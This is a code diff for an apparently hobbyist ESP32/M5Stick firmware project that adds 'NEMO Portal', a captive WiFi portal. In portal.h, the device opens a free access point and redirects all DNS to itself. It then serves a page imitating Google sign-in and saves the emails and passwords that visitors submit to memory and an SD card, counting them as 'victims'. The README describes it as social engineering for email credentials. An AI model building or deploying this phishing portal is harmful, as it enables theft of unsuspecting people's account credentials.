Add NEMO Portal, a captive wifi portal, with SD Card support

README.md

@@ -11,6 +11,7 @@ NEMO is named after the small, clever and stubborn fish in Finding Nemo. This pr
 * [AppleJuice](https://github.com/ECTO-1A/AppleJuice) iOS Bluetooth device pairing spam
 * Bluetooth device notification spamming for SwiftPair (Windows) and Android
 * WiFi Spam - Funny SSIDs, WiFi Rickrolling, and a Random mode that creates hundreds of randomly-named SSIDs per minute
+* WiFi NEMO Portal - A captive portal that tries to social engineer email credentials - saves usernames and passwords to SD Card (if inserted into a supported reader)
 * WiFi SSID Scanner - Display 2.4 GHz SSIDs nearby and get information about them
 * User-adjustable 24 Hour digital clock backed by the M5 Stick RTC so it holds relatively stable time even in deep sleep and low battery mode
 * EEPROM-backed Settings for rotation, brightness and, automatic dimming

m5stick-nemo.ino

@@ -8,10 +8,14 @@
 //#define CARDPUTER
 // -=-=- Uncommenting more than one at a time will result in errors -=-=-
 
-String buildver="2.1.3";
+String buildver="2.2.1";
 #define BGCOLOR BLACK
 #define FGCOLOR GREEN
 
+// -=-=- NEMO Portal Language -=- Thanks, @marivaaldo! -=-=-
+#define LANGUAGE_EN_US
+//#define LANGUAGE_PT_BR
+
 #if defined(STICK_C_PLUS)
   #include <M5StickCPlus.h>
   // -=-=- Display -=-=-
@@ -27,9 +31,14 @@ String buildver="2.1.3";
   #define ACTIVE_LOW_IR
   #define ROTATION
   #define USE_EEPROM
+  //#define SDCARD   //Requires a custom-built adapter
   // -=-=- ALIASES -=-=-
   #define DISP M5.Lcd
   #define IRLED 9
+  #define SPEAKER M5.Beep
+  #define SD_CLK_PIN 0
+  #define SD_MISO_PIN 36
+  #define SD_MOSI_PIN 26
 #endif
 
 #if defined(STICK_C_PLUS2)
@@ -41,10 +50,11 @@ String buildver="2.1.3";
   #define SMALL_TEXT 2
   #define TINY_TEXT 1
   // -=-=- FEATURES -=-=-
-  // #define RTC //TODO: plus2 has a BM8563 RTC but the class isn't the same, needs work.  
   #define ACTIVE_LOW_IR
   #define ROTATION
-  //#define USE_EEPROM //TODO: This won't work until RTC is sorted out
+  #define USE_EEPROM  
+  //#define RTC      //TODO: plus2 has a BM8563 RTC but the class isn't the same, needs work.  
+  //#define SDCARD   //Requires a custom-built adapter
   // -=-=- ALIASES -=-=-
   #define DISP M5.Lcd
   #define IRLED 19
@@ -53,6 +63,10 @@ String buildver="2.1.3";
   #define M5_BUTTON_RST 39
   //TODO: Figure out screen brightness on PLUS2 (if possible at all?) without AXP.
   #define BACKLIGHT 27 // best I can tell from the schematics?
+  #define SPEAKER M5.Beep
+  #define SD_CLK_PIN 0
+  #define SD_MISO_PIN 36
+  #define SD_MOSI_PIN 26
 #endif
 
 #if defined(STICK_C)
@@ -69,9 +83,14 @@ String buildver="2.1.3";
   #define AXP
   #define ROTATION
   #define USE_EEPROM
+  //#define SDCARD   //Requires a custom-built adapter
   // -=-=- ALIASES -=-=-
   #define DISP M5.Lcd
   #define IRLED 9
+  #define SPEAKER M5.Beep
+  #define SD_CLK_PIN 0
+  #define SD_MISO_PIN 36
+  #define SD_MOSI_PIN 26
 #endif
 
 #if defined(CARDPUTER)
@@ -87,10 +106,16 @@ String buildver="2.1.3";
   #define HID
   #define ACTIVE_LOW_IR
   #define USE_EEPROM
+  #define SDCARD
   // -=-=- ALIASES -=-=-
   #define DISP M5Cardputer.Display
   #define IRLED 44
   #define BACKLIGHT 38
+  #define SPEAKER M5Cardputer.Speaker
+  #define SD_CLK_PIN 40
+  #define SD_MISO_PIN 39
+  #define SD_MOSI_PIN 14
+  #define SD_CS_PIN 12
 #endif
 
 // -=-=-=-=-=- LIST OF CURRENTLY DEFINED FEATURES -=-=-=-=-=-
@@ -102,34 +127,8 @@ String buildver="2.1.3";
 // USE_EEPROM - Store settings in EEPROM
 // ROTATION   - Allow screen to be rotated
 // DISP       - Set to the API's Display class
-
+// SDCARD     - Device has an SD Card Reader attached 
-#include <IRremoteESP8266.h>
+// SPEAKER    - Aliased to the prefix used for making noise
-#include <IRsend.h>
-#include "applejuice.h"
-#include "WORLD_IR_CODES.h"
-#include "wifispam.h"
-#include <BLEUtils.h>
-#include <BLEServer.h>
-
-int advtime = 0; 
-int cursor = 0;
-int wifict = 0;
-int brightness = 100;
-int ajDelay = 1000;
-bool rstOverride = false; // Reset Button Override. Set to true when navigating menus.
-bool sourApple = false;   // Internal flag to place AppleJuice into SourApple iOS17 Exploit Mode
-bool swiftPair = false;   // Internal flag to place AppleJuice into Swift Pair random packet Mode
-bool androidPair = false; // Internal flag to place AppleJuice into Android Pair random packet Mode
-bool maelstrom = false;   // Internal flag to place AppleJuice into Bluetooth Maelstrom mode
-#if defined(USE_EEPROM)
-  #include <EEPROM.h>
-  #define EEPROM_SIZE 4
-#endif
-
-struct MENU {
-  char name[19];
-  int command;
-};
 
 /// SWITCHER ///
 // Proc codes
@@ -145,13 +144,49 @@ struct MENU {
 // 9  - AppleJuice Advertisement
 // 10 - Credits 
 // 11 - Wifi beacon spam
-// 12 - Wifi spam menu
+// 12 - Wifi tools menu
 // 13 - TV-B-Gone Region Setting
 // 14 - Wifi scanning
 // 15 - Wifi scan results
 // 16 - Bluetooth Spam Menu
 // 17 - Bluetooth Maelstrom
 // 18 - QR Codes
+// 19 - NEMO Portal
+
+#include <IRremoteESP8266.h>
+#include <IRsend.h>
+#include <DNSServer.h>
+#include <WebServer.h>
+#include "applejuice.h"
+#include "WORLD_IR_CODES.h"
+#include "wifispam.h"
+#include "sd.h"
+#include "portal.h"
+#include <BLEUtils.h>
+#include <BLEServer.h>
+
+int advtime = 0; 
+int cursor = 0;
+int wifict = 0;
+int brightness = 100;
+int ajDelay = 1000;
+bool rstOverride = false;   // Reset Button Override. Set to true when navigating menus.
+bool sourApple = false;     // Internal flag to place AppleJuice into SourApple iOS17 Exploit Mode
+bool swiftPair = false;     // Internal flag to place AppleJuice into Swift Pair random packet Mode
+bool androidPair = false;   // Internal flag to place AppleJuice into Android Pair random packet Mode
+bool maelstrom = false;     // Internal flag to place AppleJuice into Bluetooth Maelstrom mode
+bool portal_active = false; // Internal flag used to ensure NEMO Portal exits cleanly 
+const byte PortalTickTimer = 1000;
+
+#if defined(USE_EEPROM)
+  #include <EEPROM.h>
+  #define EEPROM_SIZE 4
+#endif
+
+struct MENU {
+  char name[19];
+  int command;
+};
 
 struct QRCODE {
   char name[19];
@@ -231,6 +266,11 @@ void check_menu_press() {
   if (digitalRead(M5_BUTTON_MENU) == LOW){
 #endif
     dimtimer();
+    if(portal_active){
+      // just in case we escape the portal with the main menu button
+      shutdownWebServer();
+      portal_active = false;
+    }
     isSwitching = true;
     rstOverride = false;
     current_proc = 1;
@@ -338,6 +378,7 @@ void dimtimer(){
 }
 
 void screen_dim_proc() {
+  if(screen_dim_time > 0){
     check_menu_press();
     check_next_press();
     check_select_press();
@@ -348,16 +389,19 @@ void screen_dim_proc() {
       }
     }
   }
+}
 
 /// Dimmer MENU ///
 MENU dmenu[] = {
   { "Back", screen_dim_time},
+  { "Never", 0},
   { "5 seconds", 5},
   { "10 seconds", 10},
   { "15 seconds", 15},
-  { "20 seconds", 20},
-  { "25 seconds", 25},
   { "30 seconds", 30},
+  { "1 minute", 60},
+  { "2 minutes", 120},
+  { "4 minutes", 240},
 };
 int dmenu_size = sizeof(dmenu) / sizeof(MENU);
 
@@ -366,7 +410,7 @@ void dmenu_setup() {
   DISP.setCursor(0, 5, 1);
   DISP.println("SET AUTO DIM TIME");
   delay(1000);
-  cursor = (screen_dim_time / 5) - 1;
+  cursor = 0;
   rstOverride = true;
   drawmenu(dmenu, dmenu_size);
   delay(500); // Prevent switching after menu loads up
@@ -1317,11 +1361,12 @@ void btmaelstrom_loop(){
 
 /// WIFI MENU ///
 MENU wsmenu[] = {
-  { "Back", 4},
+  { "Back", 5},
   { "Scan Wifi", 0},
   { "Spam Funny", 1},
   { "Spam Rickroll", 2},
   { "Spam Random", 3},
+  { "NEMO Portal", 4},
 };
 int wsmenu_size = sizeof(wsmenu) / sizeof (MENU);
 
@@ -1360,6 +1405,9 @@ void wsmenu_loop() {
         spamtype = 3;
         break;
       case 4:
+        current_proc = 19;
+        break;
+      case 5:
         current_proc = 1;
         break;
     }
@@ -1546,6 +1594,38 @@ void qrmenu_loop() {
   }
 }
 
+/// NEMO PORTAL
+
+void portal_setup(){
+  setupWiFi();
+  setupWebServer();
+  portal_active = true;    
+  cursor = 0;
+  rstOverride = true;
+  printHomeToScreen();
+  delay(500); // Prevent switching after menu loads up
+}
+
+void portal_loop(){
+  if ((millis() - lastTick) > PortalTickTimer) {
+    lastTick = millis();
+    if (totalCapturedCredentials != previousTotalCapturedCredentials) {
+      previousTotalCapturedCredentials = totalCapturedCredentials;
+      printHomeToScreen();
+    }
+  }
+  dnsServer.processNextRequest();
+  webServer.handleClient();
+  if (check_next_press()){
+    shutdownWebServer();
+    portal_active = false;
+    rstOverride = false;
+    isSwitching = true;
+    current_proc = 12;
+    delay(500);
+  }
+}
+
 /// ENTRY ///
 void setup() {
 #if defined(CARDPUTER)
@@ -1557,11 +1637,11 @@ void setup() {
 #endif
   #if defined(USE_EEPROM)
     EEPROM.begin(EEPROM_SIZE);
-    Serial.printf("EEPROM 0: %d\n", EEPROM.read(0));
+    Serial.printf("EEPROM 0 - Rotation:   %d\n", EEPROM.read(0));
-    Serial.printf("EEPROM 1: %d\n", EEPROM.read(1));
+    Serial.printf("EEPROM 1 - Dim Time:   %d\n", EEPROM.read(1));
-    Serial.printf("EEPROM 2: %d\n", EEPROM.read(2));
+    Serial.printf("EEPROM 2 - Brightness: %d\n", EEPROM.read(2));
-    Serial.printf("EEPROM 3: %d\n", EEPROM.read(3));
+    Serial.printf("EEPROM 3 - TVBG Reg:   %d\n", EEPROM.read(3));
-    if(EEPROM.read(0) > 3 || EEPROM.read(1) > 30 || EEPROM.read(2) > 100 || EEPROM.read(3) > 1) {
+    if(EEPROM.read(0) > 3 || EEPROM.read(1) > 240 || EEPROM.read(2) > 100 || EEPROM.read(3) > 1) {
       // Assume out-of-bounds settings are a fresh/corrupt EEPROM and write defaults for everything
       Serial.println("EEPROM likely not properly configured. Writing defaults.");
       #if defined(CARDPUTER)
@@ -1606,7 +1686,9 @@ void setup() {
   pAdvertising = pServer->getAdvertising();
   BLEAdvertisementData oAdvertisementData = BLEAdvertisementData();
 
-  // Finish with time to show logo
+  // Nemo Portal Init
+  setupSdCard();
+  bootTime = lastActivity = millis();
 }
 
 void loop() {
@@ -1619,6 +1701,7 @@ void loop() {
   // Switcher
   if (isSwitching) {
     isSwitching = false;
+    Serial.printf("Switching To Task: %d\n", current_proc);
     switch (current_proc) {
 #if defined(RTC)
       case 0:
@@ -1685,7 +1768,9 @@ void loop() {
       case 18:
         qrmenu_setup();
         break;
-
+      case 19:
+        portal_setup();
+        break;
     }
   }
 
@@ -1755,5 +1840,8 @@ void loop() {
     case 18:
       qrmenu_loop();
       break;
+    case 19:
+      portal_loop();
+      break;
   }
 }

portal.h

@@ -0,0 +1,198 @@
+// Borrowed from https://github.com/marivaaldo/evil-portal-m5stack/ which
+// has iterative iprovements over my own stand-alone M5Stick Evil Portal.
+// Retaining the Portuguese translations since this project has a large
+// fan base in Brazil. Shouts to CyberJulio as well.
+
+#define DEFAULT_AP_SSID_NAME "Nemo Free WiFi"
+#define SD_CREDS_PATH "/nemo-portal-creds.txt"
+
+#if defined(LANGUAGE_EN_US) && defined(LANGUAGE_PT_BR)
+#error "Please define only one language: LANGUAGE_EN_US or LANGUAGE_PT_BR"
+#endif
+
+#if defined(LANGUAGE_EN_US)
+#define LOGIN_TITLE "Sign in"
+#define LOGIN_SUBTITLE "Sign In With Google"
+#define LOGIN_EMAIL_PLACEHOLDER "Email"
+#define LOGIN_PASSWORD_PLACEHOLDER "Password"
+#define LOGIN_MESSAGE "Please log in to browse securely."
+#define LOGIN_BUTTON "Next"
+#define LOGIN_AFTER_MESSAGE "Please wait a few minutes. Soon you will be able to access the internet."
+#elif defined(LANGUAGE_PT_BR)
+#define LOGIN_TITLE "Fazer login"
+#define LOGIN_SUBTITLE "Use sua Conta do Google"
+#define LOGIN_EMAIL_PLACEHOLDER "E-mail"
+#define LOGIN_PASSWORD_PLACEHOLDER "Senha"
+#define LOGIN_MESSAGE "Por favor, faça login para navegar de forma segura."
+#define LOGIN_BUTTON "Avançar"
+#define LOGIN_AFTER_MESSAGE "Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet."
+#endif
+
+int totalCapturedCredentials = 0;
+int previousTotalCapturedCredentials = 0;
+String capturedCredentialsHtml = "";
+String apSsidName = String(DEFAULT_AP_SSID_NAME);
+
+// Init System Settings
+const byte HTTP_CODE = 200;
+const byte DNS_PORT = 53;
+IPAddress AP_GATEWAY(172, 0, 0, 1);  // Gateway
+unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0;
+DNSServer dnsServer;
+WebServer webServer(80);
+
+void setupWiFi() {
+  Serial.println("Initializing WiFi");
+  WiFi.mode(WIFI_AP);
+  WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
+  WiFi.softAP(apSsidName);
+}
+
+void printHomeToScreen() {
+  DISP.fillScreen(BLACK);
+  DISP.setSwapBytes(true);
+  DISP.setTextSize(2);
+  DISP.setTextColor(TFT_RED, BGCOLOR);
+  DISP.setCursor(0, 10);
+  DISP.print("NEMO PORTAL");
+  DISP.setTextColor(FGCOLOR, BGCOLOR);
+  DISP.setCursor(0, 35);
+  DISP.print("WiFi IP: ");
+  DISP.println(AP_GATEWAY);
+  DISP.printf("SSID: ");  //, apSsidName);
+  DISP.print(apSsidName);
+  DISP.println("");
+  DISP.printf("Victim Count: %d\n", totalCapturedCredentials);
+}
+
+String getInputValue(String argName) {
+  String a = webServer.arg(argName);
+  a.replace("<", "&lt;");
+  a.replace(">", "&gt;");
+  a.substring(0, 200);
+  return a;
+}
+
+String getHtmlContents(String body) {
+  String html =
+    "<!DOCTYPE html>"
+    "<html>"
+    "<head>"
+    "  <title>"
+    + apSsidName + "</title>"
+    "  <meta charset='UTF-8'>"
+    "  <meta name='viewport' content='width=device-width, initial-scale=1.0'>"
+    "  <style>a:hover{ text-decoration: underline;} body{ font-family: Arial, sans-serif; align-items: center; justify-content: center; background-color: #FFFFFF;} input[type='text'], input[type='password']{ width: 100%; padding: 12px 10px; margin: 8px 0; box-sizing: border-box; border: 1px solid #cccccc; border-radius: 4px;} .container{ margin: auto; padding: 20px;} .logo-container{ text-align: center; margin-bottom: 30px; display: flex; justify-content: center; align-items: center;} .logo{ width: 40px; height: 40px; fill: #FFC72C; margin-right: 100px;} .company-name{ font-size: 42px; color: black; margin-left: 0px;} .form-container{ background: #FFFFFF; border: 1px solid #CEC0DE; border-radius: 4px; padding: 20px; box-shadow: 0px 0px 10px 0px rgba(108, 66, 156, 0.2);} h1{ text-align: center; font-size: 28px; font-weight: 500; margin-bottom: 20px;} .input-field{ width: 100%; padding: 12px; border: 1px solid #BEABD3; border-radius: 4px; margin-bottom: 20px; font-size: 14px;} .submit-btn{ background: #1a73e8; color: white; border: none; padding: 12px 20px; border-radius: 4px; font-size: 16px;} .submit-btn:hover{ background: #5B3784;} .containerlogo{ padding-top: 25px;} .containertitle{ color: #202124; font-size: 24px; padding: 15px 0px 10px 0px;} .containersubtitle{ color: #202124; font-size: 16px; padding: 0px 0px 30px 0px;} .containermsg{ padding: 30px 0px 0px 0px; color: #5f6368;} .containerbtn{ padding: 30px 0px 25px 0px;} @media screen and (min-width: 768px){ .logo{ max-width: 80px; max-height: 80px;}} </style>"
+    "</head>"
+    "<body>"
+    "  <div class='container'>"
+    "    <div class='logo-container'>"
+    "      <?xml version='1.0' standalone='no'?>"
+    "      <!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 20010904//EN' 'http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd'>"
+    "    </div>"
+    "    <div class=form-container>"
+    "      <center>"
+    "        <div class='containerlogo'><svg viewBox='0 0 75 24' width='75' height='24' xmlns='http://www.w3.org/2000/svg' aria-hidden='true' class='BFr46e xduoyf'><g id='qaEJec'><path fill='#ea4335' d='M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z'></path></g><g id='YGlOvc'><path fill='#34a853' d='M58.193.67h2.564v17.44h-2.564z'></path></g><g id='BWfIk'><path fill='#4285f4' d='M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z'></path></g><g id='e6m3fd'><path fill='#fbbc05' d='M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z'></path></g><g id='vbkDmc'><path fill='#ea4335' d='M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z'></path></g><g id='idEJde'><path fill='#4285f4' d='M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z'></path></g></svg></div>"
+    "      </center>"
+    "      <div style='min-height: 150px'>"
+    + body + "      </div>"
+    "    </div>"
+    "  </div>"
+    "</body>"
+    "</html>";
+  return html;
+}
+
+String creds_GET() {
+  return getHtmlContents("<ol>" + capturedCredentialsHtml + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>");
+}
+
+String index_GET() {
+  String loginTitle = String(LOGIN_TITLE);
+  String loginSubTitle = String(LOGIN_SUBTITLE);
+  String loginEmailPlaceholder = String(LOGIN_EMAIL_PLACEHOLDER);
+  String loginPasswordPlaceholder = String(LOGIN_PASSWORD_PLACEHOLDER);
+  String loginMessage = String(LOGIN_MESSAGE);
+  String loginButton = String(LOGIN_BUTTON);
+
+  return getHtmlContents("<center><div class='containertitle'>" + loginTitle + " </div><div class='containersubtitle'>" + loginSubTitle + " </div></center><form action='/post' id='login-form'><input name='email' class='input-field' type='text' placeholder='" + loginEmailPlaceholder + "' required><input name='password' class='input-field' type='password' placeholder='" + loginPasswordPlaceholder + "' required /><div class='containermsg'>" + loginMessage + "</div><div class='containerbtn'><button id=submitbtn class=submit-btn type=submit>" + loginButton + " </button></div></form>");
+}
+
+String index_POST() {
+  String email = getInputValue("email");
+  String password = getInputValue("password");
+  capturedCredentialsHtml = "<li>Email: <b>" + email + "</b></br>Password: <b>" + password + "</b></li>" + capturedCredentialsHtml;
+
+#if defined(SDCARD)
+  appendToFile(SD, SD_CREDS_PATH, String(email + " = " + password).c_str());
+#endif
+  return getHtmlContents(LOGIN_AFTER_MESSAGE);
+}
+
+String clear_GET() {
+  String email = "<p></p>";
+  String password = "<p></p>";
+  capturedCredentialsHtml = "<p></p>";
+  totalCapturedCredentials = 0;
+  return getHtmlContents("<div><p>The credentials list has been reset.</div></p><center><a style=\"color:blue\" href=/creds>Back to capturedCredentialsHtml</a></center><center><a style=\"color:blue\" href=/>Back to Index</a></center>");
+}
+
+#if defined(M5LED)
+void blinkLed() {
+  int count = 0;
+  while (count < 5) {
+    digitalWrite(M5_LED, LOW);
+    delay(500);
+    digitalWrite(M5_LED, HIGH);
+    delay(500);
+    count = count + 1;
+  }
+}
+#endif
+
+void setupWebServer() {
+  Serial.println("Starting DNS");
+  dnsServer.start(DNS_PORT, "*", AP_GATEWAY);  // DNS spoofing (Only HTTP)
+  Serial.println("Setting up Webserver");
+  webServer.on("/post", []() {
+    totalCapturedCredentials = totalCapturedCredentials + 1;
+    webServer.send(HTTP_CODE, "text/html", index_POST());
+#if defined(STICK_C_PLUS) || defined(STICK_C) || defined(STICK_C_PLUS2)
+    SPEAKER.tone(4000);
+    delay(50);
+    SPEAKER.mute();
+#elif defined(CARDPUTER)
+    SPEAKER.tone(4000, 50);
+#endif
+    DISP.print("Victim Login");
+#if defined(M5LED)
+    blinkLed();
+#endif
+  });
+  Serial.println("Registering /creds");
+  webServer.on("/creds", []() {
+    webServer.send(HTTP_CODE, "text/html", creds_GET());
+  });
+  Serial.println("Registering /clear");
+  webServer.on("/clear", []() {
+    webServer.send(HTTP_CODE, "text/html", clear_GET());
+  });
+  Serial.println("Registering /*");
+  webServer.onNotFound([]() {
+    lastActivity = millis();
+    webServer.send(HTTP_CODE, "text/html", index_GET());
+  });
+  Serial.println("Starting Webserver");
+  webServer.begin();
+}
+
+void shutdownWebServer() {
+  Serial.println("Stopping DNS");
+  dnsServer.stop();
+  Serial.println("Closing Webserver");
+  webServer.close();
+  Serial.println("Stopping Webserver");
+  webServer.stop();
+  Serial.println("Setting WiFi to STA mode");
+  WiFi.mode(WIFI_MODE_STA);
+}

sd.h

@@ -0,0 +1,49 @@
+
+bool sdcardMounted = false;
+#if defined(SDCARD)
+  #include <FS.h>
+  #include <SD.h>
+  #include <SPI.h>
+  SPIClass* sdcardSPI = NULL;
+  SemaphoreHandle_t sdcardSemaphore;
+
+  void appendToFile(fs::FS& fs, const char* path, const char* text) {
+    if (xSemaphoreTake(sdcardSemaphore, portMAX_DELAY) == pdTRUE) {
+      File file = fs.open(path, FILE_APPEND);
+      if (!file) {
+        Serial.println("Failed to open file for appending");
+        xSemaphoreGive(sdcardSemaphore);
+        return;
+      }
+      Serial.printf("Appending text '%s' to file: %s\n", text, path);
+      if (file.println(text)) {
+        Serial.println("Text appended");
+      } else {
+        Serial.println("Append failed");
+      }
+      file.close();
+      xSemaphoreGive(sdcardSemaphore);
+    }
+  }
+#endif
+
+bool setupSdCard() {
+#if defined(SDCARD)
+  sdcardSemaphore = xSemaphoreCreateMutex();
+  sdcardSPI = new SPIClass(FSPI);
+  sdcardSPI->begin(SD_CLK_PIN, SD_MISO_PIN, SD_MOSI_PIN, SD_CS_PIN);
+
+  delay(10);
+
+  if (!SD.begin(SD_CS_PIN, *sdcardSPI)) {
+    Serial.println("Failed to mount SDCARD");
+    return false;
+  } else {
+    Serial.println("SDCARD mounted successfully");
+    sdcardMounted = true;
+    return true;
+  }
+#else
+  return false;
+#endif
+}

tvbg.h

@@ -11,9 +11,6 @@ By Anton Grimpelhuber (anton.grimpelhuber@gmail.com)
 #define NA 0 //set by a HIGH on REGIONSWITCH pin
 #define EU 1 //set by a LOW on REGIONSWITCH pin
 
-// What pins do what
-#define LED 10 //LED indicator pin (built-in LED)
-
 // Lets us calculate the size of the NA/EU databases
 #define NUM_ELEM(x) (sizeof (x) / sizeof (*(x)));
 
@@ -91,9 +88,11 @@ void delay_ten_us(uint16_t us) {
 }
 
 void quickflashLED( void ) {
-  digitalWrite(LED, LOW);
+#if defined(M5LED)
+  digitalWrite(M5_LED, LOW);
   delay_ten_us(3000);   // 30 ms ON-time delay
-  digitalWrite(LED, HIGH);
+  digitalWrite(M5_LED, HIGH);
+#endif
 }
 
 void quickflashLEDx( uint8_t x ) {